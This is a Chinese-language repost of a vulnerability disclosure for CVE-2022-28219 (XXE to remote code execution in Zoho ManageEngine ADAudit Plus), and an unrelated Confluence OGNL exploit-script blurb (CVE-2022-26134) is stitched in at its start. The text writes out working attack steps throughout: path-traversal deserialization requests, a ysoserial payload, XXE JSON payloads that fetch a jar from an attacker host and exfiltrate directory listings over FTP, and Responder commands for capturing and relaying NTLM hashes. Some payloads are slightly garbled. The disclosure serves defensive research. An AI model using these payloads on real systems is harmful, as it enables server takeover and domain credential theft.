CVE-2022-28219:未经身份验证的 XXE 到 RCE
2022-7-16 15:54:53 Author: Ots安全(查看原文) 阅读量:148 收藏

7月16日-

CVE-2022-26134 - OGNL 注入漏洞。

利用影响 Atlassian Confluence 7.18 及更低版本产品的远程代码执行漏洞的脚本概念验证。OGNL 注入漏洞允许未经身份验证的用户在 Confluence 服务器或数据中心实例上执行任意代码。

受影响的版本

所有受支持的 Confluence Server 和 Data Center 版本都会受到影响。

Confluence Server 和 Data Center 1.3.0 之后的版本和 7.18.1 以下的版本会受到影响。

该漏洞的 CVSS 得分为 10 分(满分 10 分)的严重性。

依赖项:

Python 3.3+

可以通过 pip install -r requirements.txt 满足依赖关系

如何使用:

克隆仓库

git clone https://github.com/Nwqda/CVE-2022-26134

cd CVE-2022-26134

然后,您可以使用您选择的命令运行漏洞利用程序,如下所示:

python3 cve-2022-26134.py https://target.com CMD

python3 cve-2022-26134.py https://target.com id

python3 cve-2022-26134.py https://target.com "ps aux"

视频概念证明

脚本 PoC CVE-2022-26134

通过Naveen Sunkavally | 2022 年 6 月 29 日| 披露

CVE-2022-28219是一个未经身份验证的远程代码执行漏洞,影响Zoho ManageEngine ADAudit Plus,这是企业用来监控 Active Directory 更改的合规工具。该漏洞包括几个问题:不受信任的 Java 反序列化、路径遍历和盲目的 XML 外部实体 (XXE) 注入。这是我们的自主渗透测试产品 NodeZero 所利用的一个漏洞,它不仅可以远程执行代码,而且在某些情况下会危及域管理员帐户。如果您在企业中运行 ADAudit Plus,我们强烈建议升级到 build 7060 或更高版本以修复此漏洞。

发现

我们经常在内部渗透测试中遇到 ManageEngine 产品。与 Active Directory 管理相关的产品(ADManager Plus、ADSelfService Plus、ADAudit Plus 等)尤其普遍。这些应用程序对攻击者也很有吸引力,因为他们拥有对 Active Directory 的特权访问。我们决定仔细研究 ADAudit Plus,看看我们能找到什么。

潜在的 RCE 载体:Cewolf 的回归

通常,在白盒源代码审查中,我们首先了解未经身份验证的攻击者可以访问哪些后端 API 端点。对于 Java Web 应用程序,该web.xml 文件是开始的地方。

我们惊讶地看到,最引人注目的第一件事是第三方Cewolf图表库中存在/cewolf由 servlet 处理的端点。这与来自CVE-2020-10189的易受攻击的端点相同,由@steventseeley针对 ManageEngine Desktop Central 报告。该  库中的类被滥用于通过不受信任的 Java 反序列化来执行远程代码。CewolfRendererFileStorage

进一步检查该库,我们发现,除了反序列化不受信任的代码外,该库不会清理输入文件路径。使用该img参数,我们可以反序列化磁盘上任何位置的 Java 有效负载。

假设磁盘上已经有一个包含 Java 有效负载的文件,我们可以使用如下请求触发反序列化和命令执行:

curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../ ../../../some-dir/my-payload'

请注意,servlet 请求路径需要以图像文件扩展名结尾,例如.png绕过安全过滤器。

寻找 XXE

我们手头有一个强大的远程代码执行原语,需要找到一种方法将 Java 有效负载上传到磁盘上的任何位置。我们为未经身份验证的用户找到了几种上传文件的方法,但由于安全过滤器和文件类型检查,最初难以上传包含 Java 有效负载的任意文件。

ADAudit Plus 的功能之一是能够从域中其他机器上运行的代理收集安全事件。令我们惊讶的是,我们发现代理用于将事件上传到 ADAudit Plus 的一些端点未经身份验证。这给了我们一个很大的攻击面来处理,因为有很多业务逻辑被编写来处理这些事件。在寻找文件上传向量时,我们发现了触发ProcessTrackingListener类中的盲 XXE 漏洞的路径,该漏洞处理包含 Windows 计划任务 XML 内容的事件。这个类使用了 JavaDocumentBuilderFactory类的危险默认版本,它允许外部实体解析并且容易受到 XXE 注入的影响。

我们发现以下形式的请求可能会触发 XXE:

curl -X POST http://<adap_ip>:<port>/api/agent/tabs/agentData -d @payload.json

哪里payload.json看起来像:

[    {        "DomainName": "<DOMAIN_NAME>",        "EventCode": 4688,        "EventType": 0,        "TimeGenerated": 0,        "Task Content": "<XXE_PAYLOAD>"    }]

攻击者需要提前知道的唯一先决条件是 ADAudit Plus 应用程序正在监控的完全限定 Windows 域的名称。这对于攻击者来说是微不足道的发现。

Java 中的盲 XXE 漏洞很难利用,但在这种情况下,我们得到了与 ADAudit Plus 捆绑的旧 Java 运行时的帮助。默认情况下,ADAudit Plus 附带 Java 8u051。

使用旧的 Java 运行时,我们发现盲 XXE 可用于执行以下所有操作:

  • 通过 FTP 泄露文件

  • 通过 FTP 获取目录列表

  • 上传文件!!

在野外,我们发现大约 3/4 的易受攻击的 ADAudit Plus 安装使用旧的运行时。我们发现 Java 运行时版本 8u131 及更高版本具有防止上述行为的保护措施。

开发

XXE 到 RCE

在测试环境中,我们在主机 10.0.220.100 上设置了 ADAudit Plus,在域用户下运行a-jsmith。我们的攻击者 IP 是 10.0.220.200。安装后,ADAudit Plus 自动检测到它是SMOKE.NET域的一部分。

第 1 步:使用小工具生成 Java 有效负载CommonBeanutils1。例如,使用ysoserial运行calc.exe:

$JAVA_HOME/bin/java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar

第 2 步:使用 XXE 漏洞上传此有效载荷。Timothy Morgan 在 2013 年披露了一种非常好的Java 特定 XXE 技术,可以使用 jar 文件协议和“阻塞”服务器上传文件,上传后不会关闭连接。此文件以随机生成的名称上传到临时文件夹。

启动 Java 阻塞上传服务器(我们在这里使用了 GitHub 项目)https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java:

java BlockingServer 9090 xxe-upload-test.jar

然后发送请求触发XXE和文件上传:

curl -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_jar.json

其中payload_jar.json包含:

[     {         "DomainName": "smoke.net",         "EventCode": 4688,         "EventType": 0,         "TimeGenerated": 0,         "Task Content": "<?xml version=\"1.0\" encoding=\" UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:http://10.0.220.200:9090/xxe-upload-test.jar!/myfile.txt\"> %xxe; ] >"     } ]

提供BlockingServer文件并保持连接打开,因此不会删除临时文件。

第三步:利用XXE漏洞定位上传payload的文件路径。我们在这里使用 GitHub 项目中的 XXE FTP 服务器来泄露目录列表以找到有效负载:

python2 xxe-ftp-server.py 10.0.220.200 3000 2122

端口 3000 承载外部 DTD,端口 2122 是 FTP 服务器端口。

然后发送以下请求:

curl -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_list.json

其中payload_list.json包含:

[    {        "DomainName": "smoke.net",        "EventCode": 4688,        "EventType": 0,        "TimeGenerated": 0,        "Task Content": "Task Content": <?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"http://10.0.220.200:3000/data.dtd\"> %dtd;\n]>\n<data>&send;</data>\n"    }]

XXE FTP 服务器通过 HTTP 为 DTD 提供服务,并通过 FTP 接收临时目录的内容。在这个例子中,可以看到文件被上传到了

path c:/users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp。

第四步:使用/cewolf端点对上传文件的内容进行反序列化,并触发命令的执行:

curl --path-as-is -v 'http://10.0.220.100:8081/cewolf/a.png?img=/../../../../../../.. /../../users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp'

我们在 GitHub 上的独立 PoC 脚本中自动执行了这些步骤。

https://github.com/horizon3ai/CVE-2022-28219

XXE 到 SSRF 到 NTLM 中继

附带说明一下,无论 Java 运行时版本如何,Java 和 Windows 中的 XXE 漏洞也可用于捕获和中继运行应用程序的用户帐户的 NTLM 哈希值。这是因为如果 Java HTTP 客户端连接到需要 NTLM 进行身份验证的服务器,它将尝试通过 NTLM 进行身份验证。

如果 ADAudit Plus 应用程序在特权帐户下运行,这对攻击者特别有用。例如,我们在攻击者机器上运行著名的响应器工具:

python3 /usr/share/responder/Responder.py -I ens160

然后我们发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP。

curl -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_ntlm.json

其中payload_ntlm.json包含:

[     {         "DomainName": "smoke.net",         "EventCode": 4688,         "EventType": 0,         "TimeGenerated": 0,         "Task Content": "<?xml version=\"1.0\" encoding=\" UTF-8\"?><!foo [ <!ENTITY % xxe SYSTEM \"http://10.0.220.200\"> %xxe; ]>"     } ]

Responder 捕获a-jsmith运行 ADAudit Plus 应用程序的用户的 NTLMv2 哈希。

这些哈希值可以被攻击者破解以恢复明文密码,或者它们可以直接中继到目标并用于在这些目标上执行代码,使用众所周知的工具,例如impacket工具包中的 ntlmrelayx。

开发后与 Active Directory 集成的应用程序必须存储凭据才能连接到它。对于 ADAudit Plus,这些凭据以加密方式存储在其数据库中。可以反转加密以明文访问这些凭据。

在野外,我们发现这些凭据通常具有很高的特权。ADAudit Plus 使用户可以轻松地开始使用域管理员凭据,我们已经看到用户采用这种简单的方式,而不是设置具有受限权限的专用服务帐户。发生这种情况时,NodeZero 将通过 ADAudit Plus 完全破坏域,生成如下所示的攻击图。

披露时间表

2022 年 3 月 28 日:漏洞通过漏洞赏金计划向 Zoho 披露

2022 年 3 月 28 日:Zoho 确认的漏洞

2022 年 3 月 30 日:Zoho 发布了新版本 ADAudit Plus 7060

2022 年 4 月 5 日:CVE-2022-28219 已发布

2022 年 4 月 5 日:检测和利用集成到 Horizon3 NodeZero 渗透测试操作中

2022 年 6 月 29 日:此详细披露

ADAudit Plus 7060 中的补丁通过以下方式修复了该漏洞:

完全删除/cewolf端点

DocumentBuilderFactory在ProcessingTrackingListener课堂上使用安全版本

要求在代理和 ADAudit Plus 之间以代理 GUID 的形式进行身份验证


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247495342&idx=1&sn=c0ef80b61395b5d01ea1b1407c1a7b10&chksm=9bada7e5acda2ef37c1f2dbfe1c705f5e80881ccb898e156104c5197ed0bae175586e0cdc0d2#rd
如有侵权请联系:admin#unsafe.sh